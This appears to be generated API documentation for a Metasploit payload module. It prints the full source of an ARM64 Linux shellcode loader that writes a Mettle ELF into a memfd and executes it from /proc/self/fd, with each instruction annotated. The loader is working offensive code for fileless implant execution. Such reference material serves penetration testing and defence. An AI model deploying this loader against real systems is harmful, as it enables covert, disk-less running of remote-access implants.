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Module: Msf::Payload::Linux::Aarch64::ElfLoader
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<span class='title'><span class='object_link'><a href="../../../../Msf.html" title="Msf (module)">Msf</a></span></span> &raquo; <span class='title'><span class='object_link'><a href="../../../Payload.html" title="Msf::Payload (class)">Payload</a></span></span> &raquo; <span class='title'><span class='object_link'><a href="../../Linux.html" title="Msf::Payload::Linux (module)">Linux</a></span></span> &raquo; <span class='title'>Aarch64</span>
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<div id="content"><h1>Module: Msf::Payload::Linux::Aarch64::ElfLoader
</h1>
<div class="box_info">
<dl>
<dt>Defined in:</dt>
<dd>lib/msf/core/payload/linux/aarch64/elf_loader.rb</dd>
</dl>
</div>
<h2>Overview</h2><div class="docstring">
<div class="discussion">
<p>In memory loader used to execute Mettle ELF file. Compatible with Kernel Linux &gt;= 3.17 (where memfd_create is introduced) Author: Martin Sutovsky &lt;<a href="at">martin_sutovsky</a>rapid7.com&gt; Resource and Credits: <a href="https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html">magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html</a> ARM64 conventions</p>
<pre class="code ruby"><code class="ruby">Parameters: x0-x7
Syscall offset: x8
Return Address for BL: x30
</code></pre>
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<h2>
Instance Method Summary
<small><a href="#" class="summary_toggle">collapse</a></small>
</h2>
<ul class="summary">
<li class="public ">
<span class="summary_signature">
<a href="#in_memory_load-instance_method" title="#in_memory_load (instance method)">#<strong>in_memory_load</strong>(payload) &#x21d2; Object </a>
</span>
<span class="summary_desc"><div class='inline'></div></span>
</li>
</ul>
<div id="instance_method_details" class="method_details_list">
<h2>Instance Method Details</h2>
<div class="method_details first">
<h3 class="signature first" id="in_memory_load-instance_method">
#<strong>in_memory_load</strong>(payload) &#x21d2; <tt>Object</tt>
</h3><table class="source_code">
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<pre class="code"><span class="info file"># File 'lib/msf/core/payload/linux/aarch64/elf_loader.rb', line 12</span>
<span class='kw'>def</span> <span class='id identifier rubyid_in_memory_load'>in_memory_load</span><span class='lparen'>(</span><span class='id identifier rubyid_payload'>payload</span><span class='rparen'>)</span>
<span class='comment'># the exec syscall can be substituted with execveat syscall, which takes out the need for itoa, however, it proved to be not stable across various IoT-specific kernel versions
</span> <span class='id identifier rubyid_in_memory_loader'>in_memory_loader</span> <span class='op'>=</span> <span class='lbracket'>[</span>
<span class='comment'># memfd_create(null, MFD_CLOEXEC);
</span> <span class='int'>0x0a0080d2</span><span class='comma'>,</span> <span class='comment'># 0x1000: mov x10, #0 0x0a0080d2
</span> <span class='int'>0xea0300f9</span><span class='comma'>,</span> <span class='comment'># 0x1004: str x10, [sp] 0xea0300f9
</span> <span class='int'>0xe0030091</span><span class='comma'>,</span> <span class='comment'># 0x1008: mov x0, sp 0xe0030091
</span> <span class='int'>0x210080d2</span><span class='comma'>,</span> <span class='comment'># 0x100c: mov x1, #1 0x210080d2
</span> <span class='int'>0xe82280d2</span><span class='comma'>,</span> <span class='comment'># 0x1010: mov x8, #0x117 0xe82280d2
</span> <span class='int'>0x010000d4</span><span class='comma'>,</span> <span class='comment'># 0x1014: svc #0 0x010000d4
</span>
<span class='comment'># use branching and branching with link to reliably get address of payload data
</span> <span class='int'>0xe90300aa</span><span class='comma'>,</span> <span class='comment'># 0x1018: mov x9, x0 0xe90300aa
</span> <span class='int'>0x1f000014</span><span class='comma'>,</span> <span class='comment'># 0x101c: b #0x1098 0x1f000014
</span> <span class='int'>0xea031eaa</span><span class='comma'>,</span> <span class='comment'># 0x1020: mov x10, x30 0xea031eaa
</span>
<span class='comment'># write(fd,payload_addr, payload_size)
</span> <span class='int'>0x420140b9</span><span class='comma'>,</span> <span class='comment'># 0x1024: ldr w2, [x10] 0x420140b9
</span> <span class='int'>0x4a890091</span><span class='comma'>,</span> <span class='comment'># 0x1028: add x10, x10, #0x22 0x4a890091
</span> <span class='int'>0xe1030aaa</span><span class='comma'>,</span> <span class='comment'># 0x102c: mov x1, x10 0xe1030aaa
</span> <span class='int'>0x080880d2</span><span class='comma'>,</span> <span class='comment'># 0x1030: mov x8, #0x40 0x080880d2
</span> <span class='int'>0x010000d4</span><span class='comma'>,</span> <span class='comment'># 0x1034: svc #0 0x010000d4
</span>
<span class='comment'># convert fd using itoa and append it to /proc/self/fd/
</span> <span class='int'>0x4b0180d2</span><span class='comma'>,</span> <span class='comment'># 0x1038: mov x11, #0xa 0x4b0180d2
</span> <span class='int'>0x4a0900d1</span><span class='comma'>,</span> <span class='comment'># 0x103c: sub x10, x10, #2 0x4a0900d1
</span> <span class='int'>0x2c09cb9a</span><span class='comma'>,</span> <span class='comment'># 0x1040: udiv x12, x9, x11 0x2c09cb9a
</span> <span class='int'>0x8d7d0b9b</span><span class='comma'>,</span> <span class='comment'># 0x1044: mul x13, x12, x11 0x8d7d0b9b
</span> <span class='int'>0x2d010dcb</span><span class='comma'>,</span> <span class='comment'># 0x1048: sub x13, x9, x13 0x2d010dcb
</span> <span class='int'>0xe9030caa</span><span class='comma'>,</span> <span class='comment'># 0x104c: mov x9, x12 0xe9030caa
</span> <span class='int'>0xadc10091</span><span class='comma'>,</span> <span class='comment'># 0x1050: add x13, x13, #0x30 0xadc10091
</span> <span class='int'>0x4d010039</span><span class='comma'>,</span> <span class='comment'># 0x1054: strb w13, [x10] 0x4d010039
</span> <span class='int'>0x4a0500d1</span><span class='comma'>,</span> <span class='comment'># 0x1058: sub x10, x10, #1 0x4a0500d1
</span> <span class='int'>0x3f0100f1</span><span class='comma'>,</span> <span class='comment'># 0x105c: cmp x9, #0 0x3f0100f1
</span> <span class='int'>0x01ffff54</span><span class='comma'>,</span> <span class='comment'># 0x1060: b.ne #0x1040 0x01ffff54
</span> <span class='int'>0xe90580d2</span><span class='comma'>,</span> <span class='comment'># 0x1064: mov x9, #0x2f 0xe90580d2
</span> <span class='int'>0x4b014039</span><span class='comma'>,</span> <span class='comment'># 0x1068: ldrb w11, [x10] 0x4b014039
</span> <span class='int'>0x7f0109eb</span><span class='comma'>,</span> <span class='comment'># 0x106c: cmp x11, x9 0x7f0109eb
</span> <span class='int'>0x80000054</span><span class='comma'>,</span> <span class='comment'># 0x1070: b.eq #0x1080 0x80000054
</span> <span class='int'>0x49010039</span><span class='comma'>,</span> <span class='comment'># 0x1074: strb w9, [x10] 0x49010039
</span> <span class='int'>0x4a0500d1</span><span class='comma'>,</span> <span class='comment'># 0x1078: sub x10, x10, #1 0x4a0500d1
</span> <span class='int'>0xfaffff17</span><span class='comma'>,</span> <span class='comment'># 0x107c: b #0x1064 0xfaffff17
</span> <span class='int'>0x4a3500d1</span><span class='comma'>,</span> <span class='comment'># 0x1080: sub x10, x10, #0xd 0x4a3500d1
</span> <span class='comment'># execve(/proc/self/fd/[fd],0,0)
</span> <span class='int'>0xe0030aaa</span><span class='comma'>,</span> <span class='comment'># 0x1084: mov x0, x10 0xe0030aaa
</span> <span class='int'>0x010080d2</span><span class='comma'>,</span> <span class='comment'># 0x1088: mov x1, #0 0x010080d2
</span> <span class='int'>0x020080d2</span><span class='comma'>,</span> <span class='comment'># 0x108c: mov x2, #0 0x020080d2
</span> <span class='int'>0xa81b80d2</span><span class='comma'>,</span> <span class='comment'># 0x1090: mov x8, #0xdd 0xa81b80d2
</span> <span class='int'>0x010000d4</span><span class='comma'>,</span> <span class='comment'># 0x1094: svc #0 0x010000d4
</span> <span class='int'>0xe2ffff97</span><span class='comma'>,</span> <span class='comment'># 0x1098: bl #0x1020 0xe2ffff97,
</span> <span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>N*</span><span class='tstring_end'>&#39;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_fd_path'>fd_path</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>/proc/self/fd/</span><span class='tstring_end'>&#39;</span></span><span class='period'>.</span><span class='id identifier rubyid_bytes'>bytes</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>c*</span><span class='tstring_end'>&#39;</span></span><span class='rparen'>)</span> <span class='op'>+</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\x00</span><span class='tstring_end'>&quot;</span></span> <span class='op'>*</span> <span class='int'>16</span>
<span class='id identifier rubyid_in_memory_loader'>in_memory_loader</span> <span class='op'>+</span> <span class='lbracket'>[</span><span class='id identifier rubyid_payload'>payload</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>V*</span><span class='tstring_end'>&#39;</span></span><span class='rparen'>)</span> <span class='op'>+</span> <span class='id identifier rubyid_fd_path'>fd_path</span>
<span class='kw'>end</span></pre>
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Generated on Fri May 8 17:02:25 2026 by
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